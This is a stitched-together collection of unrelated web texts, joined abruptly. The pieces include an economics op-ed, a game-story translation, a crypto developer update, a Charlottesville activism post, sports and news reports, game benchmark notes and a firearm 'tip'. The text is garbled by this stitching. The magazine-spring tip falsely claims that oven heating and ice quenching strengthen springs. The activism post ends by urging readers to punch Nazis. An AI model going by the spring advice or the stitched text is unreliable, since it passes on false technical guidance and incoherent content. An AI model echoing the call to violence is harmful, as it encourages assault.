I doubt anyone can pinpoint the exact reason for the transformation. Perhaps it was the onset of the “Me” generation of the 1980s or the arrogance that comes with being the last remaining super power. But the ethos of American capitalism has made a dangerous shift toward the deification of pure greed.
Capitalism is supposed to be a system that rewards people for creating value, but it has been perverted into “Looterism,” where the mantra of maximizing one’s self interest is spoken like an incantation, and people believe that this is the only thing that matters. In the transformation from capitalism to looterism, our economy has mutated from one that believes in “private benefit from value created” to simply “private benefit, regardless of damage.”
The danger of looterism, of focusing only on maximizing self interest above the importance of creating value, is that it incentivizes the extraction of wealth without regard to the creation or replenishment of the value building mechanism. This was summed up in a 1996 paper by George Akerlof and Paul Romer of UC Berkeley:
…The normal economics of maximizing economic value is replaced by the topsy-turvy economics of maximizing current extractable value, which tends to drive the firm's economic net worth deeply negative. Once owners have decided they can extract more from a firm by maximizing their present take, any action that allows them to extract more currently will be attractive -- even if it causes a large reduction in the true economic net worth of the firm. A dollar in increased dividends today is worth a dollar to owners, but a dollar in increased future earnings is worth nothing because future payments accrue to the creditors who will be left holding the bag.
What Akerlof and Romer didn’t know in 1996, when they referred to unnamed future “creditors who will be left holding the bag,” is that those creditors would ultimately be the people of the United States. In fact, the ethos of looterism has extended far beyond individual firms, and we are now in an age of looting the nation itself for short term private gain.
Despite the ongoing damage inflicted by looterists, they continue to fleece America by disguising their actions and motivations as proper “capitalist self interest.” The ease with which wealth extraction can be disguised as wealth creation is looterism’s most frightening aspect. By repeating the mantra that this is the “American capitalist way” over and over again, the evangelists of looterism gut the spirit of capitalism and serve up a dish that appears palatable to the uninitiated masses but provides no sustenance.
Ultimately, looterism is a matter of values. By removing the need to create value from the definition of capitalism we have twisted a positive economic system into one that threatens to destroy more than it creates. It has turned us into a nation obsessed with the measure of wealth but with no regard as to how said wealth is acquired. In a looterist nation, a bailed out banker fat from the trough of graft and public funds is held in the same regard as an entrepreneur who made her fortune creating a product that improves people’s lives. Not only does the end justify the means, but there is nothing to justify. The means aren’t even taken into consideration as long as the extraction of wealth is successful.
Communism was an easy enemy for us to see. The economic system was clearly different and there was a giant country with missiles pointed at us to represent the Red Scare. Looterism is an enemy of a different kind, an invisible enemy that eats us from within like a cancer. It is much harder to see, and like the devil convincing the world he doesn’t exist, the drift toward looterism has been almost invisible -- but it has undoubtedly occurred.
Our challenge now is to return America to being a nation of builders instead of a nation of takers. And to do that, we must rededicate ourselves to capitalism as a system that has at its core the creation of value and not simply a system of unadulterated self interest. The alternative is to let America be gutted from within.
[NOTE: Recently, several fascinating entrepreneurs reached out to me after reading my column, and four of us ended up having dinner that turned into an engaging three hour conversation about the evolution of education in America. It may not be possible to recreate such serendipity, but I'd like to try. If you're a regular reader of my column and enjoy intelligent conversation, ping me with your city and LinkedIn profile at [email protected] Please no smankers.]
[Illustration by Hallie Bateman]MagiReco Main Story 5.2 a guest Oct 25th, 2017 328 Never a guest328Never
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rawdownloadcloneembedreportprint text 13.33 KB [An Unconnected Lead] 5.2.1 Kaede: "Wah, Iroha-chan, your bento is so colorful and pretty..." Momoko: "Did you make this yourself, Iroha-chan?" Iroha: "Yes, together with Yachiyo-san." Momoko: "She's always so skilled." Kaede: "Yeah, and compare Momoko-chan's all-brown bento." Momoko: "That's the best I can do." "I have to feed my hungry brothers' appetites, so it turns out like this." Rena: "For that matter, what's with the rice in your bento, Kaede?" "It's all red and yellow... is it spoiled?" Kaede: "It's *gokokumai*, you don't know what it is?" Rena: "Wha? Of course I know what it is." "*Gokokumai*, it shines with all the seven colors..." Kaede: "Five colors!" [https://www.google.com/search?q=%E4%BA%94%E7%A9%80%E7%B1%B3] Momoko: "Why're you getting all worked up over the color of rice?" "Well, I'm glad that you're getting along now, Iroha-chan." "I was really shocked when I heard that you moved." Iroha: "Sorry for surprising you like that." Momoko: "It's fine, and now we even get to go to the same school." "Anyway, Wings of Magius, was it? How are things going on that end?" Iroha: "We've got nothing... Today we're going to be investigating rumors again..." Kaede: "What sort of rumor?" Iroha: "Chuuei Ward's 'Radio Girl'. Have you heard of it?" Kaede: "No, I haven't heard of that one..." "How about Momoko and Rena?" Momoko: "I know about it, but... There's something bothering me about it." "Rena, have you heard of it?" Rena: "The `Radio Girl'?" "...Ah!" "Wasn't it on that idol's SNS you were looking at the other day?" Momoko: "...Yeah, that's it!" "Iroha-chan, we might know something about it." Iroha: "Really?" Momoko: "Yeah, I'll ask about it until the end of school, so can you wait until then?" Iroha: "Yes, of course!" "But, is this okay?" Momoko: "Don't worry, it'll be a piece of cake." 5.2.2 Momoko: "Sorry, Iroha-chan, it took longer than I expected..." Iroha: "Don't apologize, you're doing me a favor by asking around." "Anyway, did you find out anything?" Momoko: "Of course, I have results worth the wait." "After this morning's discussion, I talked to some people who knew about the 'Radio Girl'." "I tried to follow the rumor back to the source." Iroha: "And, where did it originate from?" Momoko: "Of course, I found it." "The source of the rumor seems to be a certain webpage." Iroha: "Web...page?" Momoko: "Yeah, that idol's that Rena and I were talking about before?" "She likes psychic phenomena and urban legends, and that became her selling point." "She also saw this webpage, and she went to check out the radio tower." Iroha: "Then, if I look at the webpage, I'll find out more about the 'Radio Girl'?" "Do you know what the webpage is, anyway?" Momoko: "Well, I asked her, but she wouldn't tell me what it was." "It's meaningless if you don't find it yourself, is what she told me." "On top of that, to get in you need to have certain qualifications, it seems." "It's almost as if those who love urban legends have a mysterious sense of aesthetics." Iroha: "Then they won't tell us so easily, I take it..." Momoko: "But in my research they did tell me an important point." Iroha: "An important point?" Momoko: "Yeah." "You'd best avoid going near 'The Very End of Solitude'." Iroha: "'The Very End of Solitude'?" Momoko: "I have no clue either." "Sorry I wasn't much help." Iroha: "No, you were a big help." "Oh yeah!" Momoko: "Hm?" Iroha: "If you'd like, would you like to investigate the rumor together?" Momoko: "Together, huh..." "Nah, I'll pass." "I'd love to help, but you're working with Yachiyo, right?" Iroha: "Are you still not getting along with her?" Momoko: "That's not it, I just haven't gotten my feelings sorted out." Iroha: "I see..." Momoko: "Sorry, again." 5.2.3 Yachiyo: "She's pretty late..." Iroha: "Um... I'm here..." Yachiyo: "I called you quite a few times!" Iroha: "I'm sorry..." Yachiyo: "Did you not have signal? Did you turn it off?" "What was wrong?" Iroha: "Well, the message from yesterday was so scary that I..." Yachiyo: "That you turned it off!?" Yachiyo: "Come on..." "You can ignore it if you want, but at least leave it on..." "I was worried about you..." Iroha: "All right, I'll turn it on..." "..." "Ah! It's here again..." *"Would you please save me?"* "What should I do?" Mini-Kyubey: "Let's answer it" or "You should ignore it." I'll pick the former. Iroha: "Maybe I should tell them to please stop..." Yachiyo: "I don't think you should." "It's okay not to reply." Iroha: "Yes..." Yachiyo: "Anyway, what took you?" Iroha: "Actually, I had Momoko help me investigate the 'Radio Girl'." Yachiyo: "Momoko?" Iroha: "Yeah, and we ran late..." Yachiyo: "Well, are we going to be investigating with her today?" Iroha: "No, I asked her that too..." Yachiyo: "I see." "Well, did you find anything?" Iroha: "Um, yes... She did some research for me, and it seems that people who know of the 'Radio Girl' saw it on a webpage." Yachiyo: "A webpage?" Iroha: "Yes." "But you can't access it without certain qualifications, they said..." "Also, they said not to get near 'The Very End of Solitude'..." Yachiyo: " |
As much as pro-legalization enthusiasts would like to see small businesses thrive and growing to remain local, big businesses has caught wind of the profit potential of the green rush, and they seem more than willing to throw their weight around to get a big chunk of the market, even if it means trampling small businesses in the process.Development
Protocol Smart Contracts
We added a transferable multi-signature smart contract (which is very generic and we welcome other project to adopt it as well). With this smart contract built into the v1.0.0 final release, the Loopring Protocol is considered more secure than the previous pre-releases.
We updated events emitted by the protocol now it is easier to process these events.
We further polished smart contract code base based on the feedback from Blockchain at Berkeley. Now all outstanding feedback have been taken care of.
We released protocol v1.0.0 final!. We tried to deploy it on Ethereum mainnet but failed due to the large amount of pending transactions. Given that we have sufficient experience in smart contract deployment, this is not an issue for us. The deployment and initialization of v1.0.0 would mark a major milestone.
Looping.js
Loopring.js is the bridge between the smart contracts, the relays, and the wallets. We have migrated to use yarn for dependency management and webpack for building the target. This upgrade reduced library target code from multiple megabytes to 631KB. We also fixed several bugs.
The pre-releases (0.0.x) of looping.js are available on npm. If you want to learn how to integrate with the Loopring Protocol, this library is a good starting point (please do review the source code before using it). We will add more content to this project’s wiki.
Relay
All JSON RPC are code complete. We have started the integration of the relay, loopring.js, and the Loopr wallet. This ongoing effort will take approximate two to three weeks which we call the internal testing period.
. This ongoing effort will take approximate two to three weeks which we call the internal testing period. We optimized order management and mining related logics, and added more unit tests.
The database and Ethereum nodes have been deployed on AWS. The relay service will be deployed soon in the coming week.
Wallet
To enhance user experience, Loopr now supports auto-generation of prerequisite transactions (which users have the chance to review and approve/decline). With this feature, submitting orders is more like a single operation and is straightforward.
We also introduced several other enhancements to the wallet, such as allowing hiding of zero-balanced tokens, filtering of tokens and market pairs, and optimization of data loading.
Last week we have also migrated to use the latest npm-published version of loopring.js, the amount of JavaScript code has been reduced by a great deal.
Operation & MarketingSquare
Charlottesville is a fucking mess. So here it is: your 0-60 speed-run through your white feelings to get you on board… In no particular order.
Oh my god, I can’t believe this is happening. It is. I’m sorry. Oh my god, this is just so awful. It is. I can’t believe this is real. It. Fucking. Is. How did this happen? Because you haven’t been listening. I’m not racist. Then fucking prove it. I’ve tried to help in the past but I just feel so lost. This is because you’re thinking on an individual level. White people are a group and you are a part of that group. There’s nothing I can do to help. Amplify. Speak out. Follow the voices on the ground. Denounce white supremacy. I don’t know how to do that. Like this: “What’s happening in Charlottesville is because of us, white folks. It’s because we haven’t been accountable. It’s because we haven’t collected our own people. It’s because we haven’t faced our history and our complacency in this system. People are dying and I’m not standing for it anymore. Not in my name. Racism must be called out, named and abolished. White supremacy must be denounced. Nazis must be stopped.” But what will people think of me? They’ll think you’re not quite as racist as the people with tiki torches but slightly more racist than the people getting run over by cars in counter-protest. Oh my god, I feel so guilty. That’s because you’re thinking on an individual level. There isn’t time right now to educate you on all the systemic issues, but trust that this is not all your fault personally, but it is your fault if you personally don’t do anything. I can’t get into a fight on the internet, I never know what to say. Then disable comments on your post and get on with your life. Or leave the comments on so you can weed out who’s a problem on your friends list. I believe in peace. Then start acting like it. Peace does not happen by ignoring hatred and violence. Why can’t we all just get along? Because people, including you, keep ignoring the problems and not addressing them directly. I’m scared. You should be. I just want life to go back to normal. Your normal was what led to this. Things cannot go back, I’m sorry that you’re uncomfortable now, but this is the reality that people of color have been living with forever. There is no normal. I don’t want to say the wrong thing. Saying nothing is the wrong thing. You might mess up your wording, you might not be clear. But say something, say anything. Silence is violence. How can we come together? I don’t know. I don’t think we can, and we can’t think about that right now. We can’t come together until we know who the sides are, and you standing in the middle isn’t helping. I’m frozen. I’m helpless. No you’re not. You’re on the internet. Entire revolutions have been fought on the internet. Get connected and listen to what is being asked of you. I’m praying for the people in Charlottesville. That’s nice. Ever hear the story of the man in the flood, sitting on his roof and praying for God to save him? Go google it, then do something after you’re done praying. What do I tell my children? You tell them there are people in this world who hate other people for the color of their skin and you are not okay with that. I’m shaking, I’m nauseous, what is going on? That’s probably anger. Get into it, it’ll help fuel you. It’s not evil, it’s a tool. Anger cannot be willed away, it is an outward emotion that requires action. I feel like I’m just cycling through. That’s normal. That’s the spiral. You’ll go through guilt, shame, anger, relief, over and over again. That’s normal. None of these feelings are here for a moment then gone forever. And the longer you push them down the more intense they become and the less you learn about how to deal with them. Maybe this will all just blow over. Maybe, maybe not. Be like the scouts and be prepared. I feel really targeted with all this talk of white people. I know. You’ll get used to it. It won’t always paralyze you. Something about Martin Luther King Jr. Shhhh. SHHHHHH. No. I want to say something eloquent and intelligent. Use a thesaurus. Just say something. This is so overwhelming. Focus. One thing at a time. Right now we want to help counter-protesters in Charlottesville. We’ll get to the big picture stuff later. Okay, so what’s the first thing I can do? Denounce white supremacy publicly, on all your social media accounts. What’s the second thing I can do? Donate here.
https://fundly.com/solidarity-c-ville-7-8-anti-racist-legal-fund What’s the third thing I can do? Donate here. Black Women Being will provide funds to individuals on the ground.
https://www.safetypinbox.com/donate What’s the fourth thing I can do? Donate here. Nice White Ladies has an emergency fund that is directly available to community organizers.
https://www.nicewhiteladies.com/reparations What’s the fifth thing I can do? Get on Twitter and Facebook and ask your friends to donate as well. What’s the sixth thing I can do? Donate to BLM Charlottesville, they are on the ground.
https://www.paypal.me/blmcville What if I don’t have money? Get on Twitter and Facebook and start amplifying voices. Keep your feelings out of it, keep focused on taking action. Oh god this whole thing makes me sick, I just want to hide. Don’t. This discomfort is normal. You can do something about it. You should not feel normal today. Okay, what else can I do? If you feel like you need more education on anti-black racism, sign up for Safety Pin Box. I feel so far away from everything. Contact your local Black Lives Matter chapter and follow them. I just want to know how we can fix all this? We’ll get there, but we can’t give you the big picture right now because it’s not an easy fix. We need people like you doing smaller steps. This isn’t a linear path. There will be many things to do. Who are you to tell me this? You can read through this blog to find out or go to Nice White Ladies to learn more about what I do. I’m supposed to listen to the voices of people of color. Yes you are. You’re white. Yes I am. Why should I listen to you? Because you’re in your feelings and it’s my job to collect you and keep that emotional labor from people of color who are fighting on the front lines. The people being pepper-sprayed right now don’t have the time to talk you through your guilt. White people doing anti-racism work are problematic. Yep, a lot of them are. I went to an anti-racism workshop once and I think you’re doing this wrong. That’s cool, please go do it your way. We really just need more people standing up right now. I don’t care how you do it. What’s the best course of action for allyship? This is not about giving you a sticker. Don’t try to be the best ally. Just be present, do something, do anything. If you’ve done nothing because you’re worried about being the best, then you’re a bigger problem than someone who’s trying but messing up. What do I do when someone corrects me? Say “thank you” and apply the correction. It’s not about you, it’s about what’s working and what’s not. I have so many thoughts and feelings about this. Please do not unpack them publicly. There are spaces for that. I believe in non-violence. Non-violence is a privilege to those who are not being directly subjected to violence. These alt-right people are all just basement dwellers and trolls. They’re not. They’re your friends and family. Your cousins. Your neighbours. They are everywhere and you need to make your position clear. This is all Trump’s fault. These people didn’t materialize because of Trump. They’ve been empowered by him and his rhetoric. Do not waste time pointing fingers at Trump. It feels unpatriotic to criticize free speech. What is the line between free speech and terrorism? Everyone must decide that for themselves, don’t just recycle someone else’s talking points without thinking it through. My parent/sibling/partner/friend is one of these alt-right supporters, how do I bring them around? First, accept that you may not be able to. That doesn’t mean you can’t challenge them on it, it means you have to set boundaries for yourself. Decide what is acceptable and what is not, and don’t bend on your limits. What can I do to protect myself? Enable two factor authentication on your social media. Also – start training. I suggest whiskey stick dancing*. Of course if you used to twirl batons back in the day, you’re halfway towards being Morgan from The Walking Dead. Because when it comes to your town, you’re going to stand up. This could never happen in my town. Really? There’s another white supremacist rally planned for Seattle tomorrow. I just want someone to tell me what to do. Scroll up, start over. I’m really scared. Yeah. That’s normal. This isn’t America. Actually, it is. If you imagine a different America then get out there and build it. I’m angry about this. FUCKING GOOD. No I mean really angry. That’s right! Get angry! RAAHHHH! FUCK YOU NAZI SCUM! Yes! Go! Fly my pretties! Fly! FLY!
*The first version of this article suggested Krav Maga in this place. The second version of this article included a note about the request from someone who asked me to consider the roots of Krav Maga and a link to the exchange in order to provide context and show how to take correction and apply it without becoming a thing. The third version no longer lists Krav Maga or the lesson because this is turning into a conversation that is not my lane. Please keep me out of your debates on Krav Maga and antisemitism. Always punch Nazis, thank you.
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Liked it? Take a second to support Erynn Brook on Patreon!This winter seemed like it was full of flight delays. Even Charlotte wasn’t immune for the weather related delays.
But did you know you can plan your flight around typical delays?
AirHelp has an infographic on the best times to fly.
Still, even with the best of planning, it’s possible for a flight to be delayed or cancelled.
This is what you should do when your flights are delayed or cancelled.
The AirHelp article suggests that earlier flights are the most punctual.
They are good for another reason. When things go wrong, you have a lot more options compared to if you travel towards the end of the day.
But there’s no magic potion to avoiding delays.
Charlotte was listed as one of the best connecting airports.
I think that’s because of their spokes-type terminals. There’s no terminal that’s extremely far from another.
But either way, travel enjoyment is up to you. If you can handle random delays, there are more chances for adventure. (I have a really long list of places I want to visit in Phoenix if I ever get stuck there).
Does anyone else do anything like that? Use the airport for a meeting hub?The military awarded more than $400 million worth of construction contracts in Colorado in 2012, roughly in line with other years but especially significant as the state slowly emerges from the recession.
The projects include facilities for a new helicopter unit at Fort Carson, a new operations center for top-secret defense intelligence agencies at Buckley Air Force Base, National Guard and reserve centers in Colorado Springs and Loveland, and renovations at the Air Force Academy.
The best way to gauge the impact of the spending is to ask, “What would happen if we didn’t have it?” said Don Addy, chairman of the Colorado Thirty Group, a nonprofit based in Colorado Springs that advocates for cooperation between the military and civilian governments.
“It would be a big hole because of the ripple effect,” Addy said, noting that the construction money is spread out among suppliers and subcontractors who work on the projects.
With its heavy concentration of military facilities, Colorado Springs was by far the state’s biggest beneficiary of the construction contracts, an Associated Press review of contracting activity showed. The money is crucial for the Colorado Springs area economy.
“The economy in Colorado Springs has been struggling and not recovering as fast as other areas of the state … because it’s not as diversified,” said Natalie Mullis, chief economist for the Colorado Legislative Council.
About $190 million worth of the 2012 contracts will be spent on facilities for the 4th Combat Aviation Brigade, expected to be activated at Fort Carson in April. The Pentagon originally designated the unit as the 13th Combat Aviation Brigade but changed it to the 4th in mid-2012.
The projects include a hangar, control tower, barracks, refueling areas, roads and other infrastructure.
The brigade will have up to 2,700 soldiers and 113 helicopters. Construction to accommodate the unit is expected to cost a total of about $730 million, but not all the contracts have been awarded.
The Defense Department awarded contracts worth nearly $26 million to renovate a dormitory and gymnasium at the Air Force Academy outside Colorado Springs and more than $58 million for new National Guard readiness and training centers in Colorado Springs.
The largest single construction contract awarded in Colorado in 2012 was nearly $117 million for a new operations facility for military intelligence agencies at Buckley Air Force Base in Aurora.
About 3,500 military and civilian personnel work for secretive intelligence agencies at Buckley, including the National Security Agency and the National Reconnaissance Office.
The Pentagon also awarded a $10.5 million contract for a new Army Reserve center in Loveland.
More than $286 million of the 2012 contracts were awarded to Colorado construction companies. Hensel Phelps Construction of Greeley won the most, with contracts worth $226 million. Hensel Phelps’ Austin, Texas, office was awarded another contract worth nearly $45 million.Nicholas Karikarisei, a fisherman, cares for his six children in a two-room home in Nigeria's Niger Delta.
Last year, he took his 4-year-old son, also Nicholas, to the state hospital to be treated for malaria, a disease that can be fatal.
The state hospital is free for children under five, he says, but his family, like many others, was turned away because he couldn’t prove Nicholas’s age. He had no birth certificate so he had to pay a private hospital $45 for treatment in a region where most people live on less than $1 a day.
"The awareness was not there. The importance was not there," he says. "It’s only when I came to get my son medical attention in the government hospital, only when I showed up there [I learned], 'no birth certificate, no free medical services.'”
According to UNICEF, one in three children worldwide does not "officially exist,” and nearly all of them live in Asia or sub-Saharan Africa.
The U.N. children's agency also says 60 percent of Nigeria's children — about 17 million — lack birth certificates, a figure second only to India, which has 71 million unregistered children.
UNICEF child protection officer Sharon Oladiji says the problem is particularly acute in rural northern areas, where Nigeria's undocumented children are often denied healthcare, education and are especially vulnerable to rights abuses.
“It’s a patriarchal society and most women do not take part in decision making at all, and most women in the very rural north aren't educated, so they don’t know the importance of registering their children,” she says.
Aside from facing a host of difficulties such as denial of government services, children least likely to be registered are the ones most likely to face adverse life circumstances.
Health workers must know a child’s age in order to provide treatment safely, for example, and trafficked children, many of whom are undocumented, cannot prove their age when interacting with legal authorities.
“When a child is in contact or in conflict with the law, you don’t treat that child like an adult that has committed a criminal offense," says Oladiji. "There’s a separate legal framework to deal with children who are in conflict with the law.”
Nigeria's lack of birth records also undermines government efforts to track vital demographic information, making it especially difficult to prevent children from dying if officials cannot accurately determine how many have died in given region, or what the cause of death might be.
UNICEF is currently trying to convince traditional leaders and families of the importance of registering children. In northern Nigeria, where most of the families are Muslim, Oladiji and her colleagues sometimes present verses from the Quran that suggest registration is encouraged by Islam.
their argument that, for example, birth registration facilitates a child’s future ability to make the Islamic pilgrimage to Mecca.
“We want to look at what they do, what they like," she says, explaining that they also associate registration with Muslim pilgrimage.
"For example, going to Mecca, we link with that: 'This child, if you don’t register his birth, he cannot get a passport. He cannot go on a pilgrimage.’”
But for many parents, the importance of registration simply hadn't been made clear. Karikarisei, the father of six, said he has no objection to registering his son, but that the nearest registration center was 15 hours from his village.
UNICEF says it hopes to dramatically increase the number of registration centers in Nigeria, and that 65 to 70 percent of Nigerian childrens will receive birth certificates within the next few years.
Hilary Uguru contributed to this report from the Niger DeltaFerrari have elected to change Sebastian Vettel’s chassis after the German experienced problems in Friday’s second practice session in Austin.
Having been late to go out on track in FP2 as Ferrari made changes to his car following first practice, Vettel then had a huge slide off the road at Turn 19 and spent some time in the pits before re-emerging.
The four-time world champion was third fastest after completing his run on the ultrasoft rubber, but he soon returned to the pits complaining that something ‘felt weird with the front axle’ and ultimately clocked just 11 laps.
“It was a complicated afternoon and not an easy session” said Vettel, “but the car is quick, so we don’t need to worry too much about it.
“The only lap I had was the one with the ultrasofts. Before that, I made a mistake taking too much risk and pushing too early.
“The track was quite slippery and I lost the rear under braking. So, we lost a set of tyres, and then again, towards the end of the session, I felt that something was not right with the car.
“So, we checked a couple of times and now we are looking at the car to see if we can find something.
“I need to find the rhythm tomorrow and make sure everything’s in order.”
Vettel came into the weekend trailing Lewis Hamilton by 59 points in the drivers’ standings with four races remaining.
If Hamilton were to win on Sunday, Vettel would have to finish fifth or higher to prevent the Briton from joining him in becoming a four-time world champion.
The German's car will be re-scrutineered ahead of final practice on Saturday morning.Tip of the Week #5: Strengthen Your Mag Springs
Feeding ammunition is a critically important part of auto-loading firearm. The magazine springs are responsible for pushing up new rounds to be loading into the chamber. Unfortunately, springs get weak if they are compressed for too long, and weak spring can easily be obstructed. However, our research lab has determined an optimal way to strengthen your mag spring.
Using nothing more than your home oven and a sink, you can increase the strength of your mag springs. First. Heat up your oven as hot as it can get. Make sure it’s well pre-heated. While that’s heating up, fill your sink with cold water and ice. You want the ice as cold as you can get, because the colder you can get it the stronger it will make your springs.
Then, heat your springs in your hot oven. The amount of time for this step depends on the bullet diameter that spring is used on. Springs from a 9mm should be in for 35 minutes (.355 caliber). 40S&W or 10mm should be in for 40 minutes..45ACP for 45 minutes.
As soon as the correct time has elapsed, remove the springs from the oven and plunge directly into the ice cold sink water. Your spring are now strong again. Re-install and hit the range!Students vote at the 2014 UTSU Annual General Meeting. SARAH NIEDOBA/THE VARSITY
After a heated debate, the proposed changes to the University of Toronto Students’ Union (UTSU) Board of Directors structure were narrowly defeated at the Annual General Meeting (AGM).
Several other bylaw amendments were passed by omnibus.
Bylaw V, which contains the controversial proposed changes to the Board of Directors structure, and bylaw XI, which governs commissions and committees, were externalized and put to a vote later in the evening.
If passed, the amendments would have granted representation to colleges and professional faculties through a committee, and replaced the current board structure with constituency directors with purview over specific equity-based issues.
Mixed reactions
Following the failure of the motion, several students present at the meeting erupted into loud cheers, while others appeared disappointed.
“I’m feeling relieved, but also saddened, in the sense that knowing this is going to carry on for another year,” said Teresa Nguyen, president of the Engineering Society.
“It’s been such a long battle,” Nguyen added.
Victor Baciu, president of the St. Michael’s College Student Union (SMCSU), left the AGM with mixed emotions.
Baciu said he was glad that Bollo-Kamara brought up the one-year time frame.
“I hope that in the future, [Bollo-Kamara] will consult with us even further and make sure that when the next year comes, we have a board structure that we all feel works the best for all our constituencies and everyone is represented, with college representation that colleges think is fair,” Baciu added.
Bob Parry, New College Student Council (NCSC) president, said that New College has no official stance on the changes.
“It gives us more time to think of alternatives, gives students a full year to consider other options,” Parry said
Bollo-Kamara hinted at more consultations and discussion to come with the formulation of a new Board of Directors structure. “I am glad that we’ve been able to start this conversation about how best the UTSU can represent its members and I’m looking forward to continuing that over the next 12 months,” she added.
Bollo-Kamara was disheartened that much of the evening’s conversation revolved around the board structure proposal and that the meeting adjourned early.
Bollo-Kamara: "One single person cannot be a representative of an entire community." — The Varsity (@TheVarsity) October 30, 2014
“We didn’t get to talk about any of the other motions that students put forward,” Bollo Kamara said.
Najiba Ali Sardar, UTSU vice-president, equity, did not vote in favour of the proposal. “I do feel like this proposal was flawed in many ways,” she said, adding, “If there is a proposal that is seeing this much backlash from our students, are we really representing our students on-campus?”
Procedural disputes
Earlier in the meeting, Ben Coleman, student governor, motioned to strike a section of UTSU bylaw XVI dealing with omissions and errors.
“In the event that there are any omissions in giving notice to any member, director or officer or non-receipt of any notice when given in accordance with the Bylaws, such errors or omissions will not invalidate any action taken to any meeting to which the notice pertained,” the section that Coleman motioned to strike reads.
“I just want to make sure there’s consequences when there’s an omission of notice,” Coleman said on his motion.
“If the error was made in proper diligence to give notice, then that’s an error that should have consequence,” Coleman added.
Cameron Wathey, UTSU vice-president, internal and services, invited UTSU legal counsel to give an opinion on the matter.
The legal counsel, who was not named, said that in the case that a member brought a non-profit corporation to court due to an omission in giving notice of a meeting, the court would usually decide in favour of the non-profit corporation when best efforts are made to notify all members.
Pierre Harfouche, UTSU vice-president, university affairs, asked the chair how many votes were required to pass each bylaw. Ashkon Hashemi, UTSU chair, said that the voting proportions depend on the nature of the bylaw.
Under the Canada Not-For-Profit Corporations Act (CNCA), Hashemi said, all bylaws except the one pertaining to representation on the Board of Directors, require a simple majority.
Hashemi said the UTSU is operating under the Canada Not-for-profit Corporations Act as of October 16.
Gabriel Zoltan-Johan, chairperson of the Victoria University Students’ Administrative Council (VUSAC), said that, if the meeting is being governed under the CNCA, the CNCA requires an agenda. Zoltan-Johan alleged that a transition report from Corporations Canada supported his argument.
Motions for the AGM were presented under an “Order of Business.”
Hashemi responded that the CNCA does not reference an agenda.
Meeting adjourned
The meeting adjourned before the final item on the order of business, a Consideration of Motions Duly Served, was addressed.
The Consideration of Motions Duly Served contained several items dedicated to UTSU activism and advocacy work.
1400 in favour. The meeting is adjourned at 11:00 PM. #UTSUAGM14 — The Varsity (@TheVarsity) October 30, 2014
Following the end of the voting on the proposed board structure, Vip Vigneswaran motioned to adjourn the meeting before the final items could be addressed.
“I felt that tensions were high, people were tired, and all the contentious issues that required membership approval had been dealt with,” said Vigneswaran.
However, Victoria College director Zach Morgenstern, who moved many of the initiatives in the final motion, was dismayed at the lack of recognition paid to the projects. The Consideration of Motions Duly Served included a motion mobilizing an anti-war coalition and a motion regarding the Student Commons Management Committee.
“As someone who thinks that the union needs to radically improve its involvement levels, I’m disappointed that I didn’t get the AGM audience,” Morgenstern said, adding: “I don’t want to be forever stuck in the trap of getting elected to make rules about elections.”
Since the board structure proposal failed, the UTSU now has one year to put forward and submit a new structure for the Board of Directors.
Full story in print on Monday.
UPDATE: An expanded version of this article can be found hereThe beta build of Tom Clancy’s The Division is currently available on the PC, and below you can find some screenshots on max settings. Do note that we increased the Object Detail to 100% (something that is not enabled via the Ultra preset), and that we also enabled NVIDIA’s PCSS shadows and HBAO+. We’ve also removed chromatic aberration and Vignette in order to provide you with more crisp images.
First things first. SLI scaling is incredible in The Division. In order to enable SLI, you’ll have to install the latest WHQL drivers from NVIDIA and add the game’s executable file in the “Tom Clancy’s The Division” profile. You can do so via NVIDIA’s Inspector tool. If you don’t do that, SLI will not be enabled (as NVIDIA has not included the executable file from this beta to the profile).
Here are the max PC settings that we’ve used in order to capture the following images. Do note that the Ultra preset does not enable NVIDIA’s features, and that you need to restart the game so that some of these changes take effect.
As you can clearly see, our GTX690 was unable to run the game with 60fps. Given the fact that we were not VRAM limited (the game never really stressed our VRAM as can be seen in the following images) and since an GTX690 has more raw power than an GTX970, we are certain that owners of NVIDIA’s GTX970 will not be able to max out the beta build.
Thankfully, Massive Entertainment has included lots of options to tweak, so fear not as you will be able – by adjusting the game’s settings – to eventually run it with 60fps. However, in order to max it out, you’ll need a really high-end system. We should also make it clear that we’re testing the starting area which is a really demanding area in terms of performance. The next areas of the beta are not as demanding as this one.
In order to hit 50-75fps, we had to lower the Object Detail to 75% (that’s the value used for the Ultra preset), lower Reflections to Medium (that’s also the setting used for the Ultra preset), disable NVIDIA’s features (both PCSS and HBAO+) and lower Volumetric Fog from Ultra to High.
Do note that this is a beta, which means that the final product may run better and be better optimized. Moreover, we encountered some texture streaming issues that will be hopefully addressed in the final version.
Enjoy!advised women +
part of an advisory +
sensitivity of Indian culture +
what they should wear +
AGRA: Union culture and tourism minister Mahesh Sharma, who was in the Taj city on Sunday,foreign tourists not to wear skirts and other “skimpy” clothes “for their own safety”.Speaking to reporters here, Sharma said, “For their own safety, women foreign tourists should not wear short dresses and skirts... Indian culture is different from the western (culture).”He said women tourists should also refrain from going out alone at night.The minister added that this would bepamphlet to be given to foreign tourists.He also advised foreigners visiting the temple towns of Mathura and Vrindavan to keep thein mind.The minister, however, later said: “We have not given any specific instructions regardingor not wear. We are asking them to take precaution while going out at night. We are not trying to change anyone’s preference.”Sharma had stoked a controversy last year too by saying night out for girls was against India’s culture. “Girls wanting a night out may be all right elsewhere, but it is not part of Indian culture,” he had said.As the Eagles embark on the most important 4th quarter of the year (the final 4 games of the regular season), everyone seems focused on the 4th quarter struggles the Eagles have had over the past 2 weeks. I've heard all the theories, the Eagles can't play a slower tempo, the Eagles have poor clock management, Chip Kelly is taking his foot off the gas pedal, etc., etc.
For me, it's simple when you review the tape. It's all about execution. It doesn't matter how fast or slow the Eagles are going, it's not about being aggressive. It is about executing the plays as called.
In my mind, there are three keys to a successful 4-8 minute offense:
1) Don't go backwards
2) Keep moving the chains
3) Keep the clock running. Avoid going out of bounds and avoid incompletions
Honestly, I don't see the Eagles as having a 4th quarter problem. I throw the Redskins game out a bit because Chip admitted that he took the foot off the gas. Since then, we've had 2 games where we bled the clock masterfully (TB and GB) and 2 where we struggled (Cards and Redskins). It's worth taking a look at the difference between those games.
If you review the play-by-play reviews of the final drives against Tampa and Green Bay the common theme was the ability for the Eagles to stay in positive yardage situations which lead to manageable down and distances. When you review the Redskins and the Cards game, you see lots of negative plays setting up unmanageable downs and distances.
And that's why it all comes back to execution. Let's have a look, starting with the Redskins game.
By the time the Eagles got their first possession of the 4th quarter, they held a comfortable 24-0 lead. This is where the Eagles had to start considering eating up the clock.
On 2nd and 10 of that drive, this happened:
